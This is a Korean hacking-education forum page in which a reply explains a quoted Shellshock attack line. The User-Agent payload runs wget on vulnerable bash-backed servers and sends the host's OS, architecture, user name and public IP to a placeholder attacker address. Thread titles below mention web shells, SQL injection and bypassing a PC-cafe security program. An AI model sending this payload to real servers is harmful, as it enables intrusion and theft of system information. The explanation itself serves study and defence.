214, 3/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2637     Date : 2015/06/28 03:28


    
174   완전초보라 궁금하네요 웹쉘 XSS 등[1]     sm8303
 04/21 3739
173   sql injection 공격 오류반환질문이요.[4]     yayaja11
 03/21 2776
172   프록시 프로그램이 안됩니다[1]     yayaja11
 03/05 2833
171   의뢰입니다[4]     jjogun
 01/30 2991
170   궁금해서 질문합니다~[2]     ju3622
 01/09 2653
169   URL을 활용한 Json 파일 API분석     huny606
 12/24 2866
168   sqlmap 관련및 데이터베이스 관련에 질문합니다[1]     r0ki
 10/10 3368
167   웹쉘 관련 질문있습니다.     stoopynice
 07/26 4656
166   KISA 해킹방어 훈련장 WEB 문제와 관련해서 질문드립니다.[1]     jhjang1005
 07/16 3456
165   맥북으로 웹 모의해킹     chachaco
 06/16 3921
164   php책 추천 부탁드립니다.[1]     h@cking2013
 06/05 3894
163   이 공격구문에 대한 설명 부탁드립니다.[1]     ju3622
 05/05 3508
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2636
161   웹해킹 공부 질문이요~[2]     ansqudfyd
 05/02 3478
160   WPA2/PSK 관련 질문이 있습니다.     roccafort
 04/30 2811
159   메일 수신자 또는 발신자 IP[1]     zaksalna
 04/22 5461
158   피시방 Green guard 프로그램 뜷는 방법좀 알려 주세요[1]     wqw3
 04/19 6007
157   안녕하세요 ! 오늘가입했는데! 배워야할것좀 가르쳐주세요![1]     parani03
 04/08 2981
156   load of sql injectin을 풀구있습니다..[3]     deadbeef
 02/15 3766
155   서버시간 조작이 가능할까요?[1]     spe
 01/07 3287
[1][2] 3 [4][5][6][7][8][9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org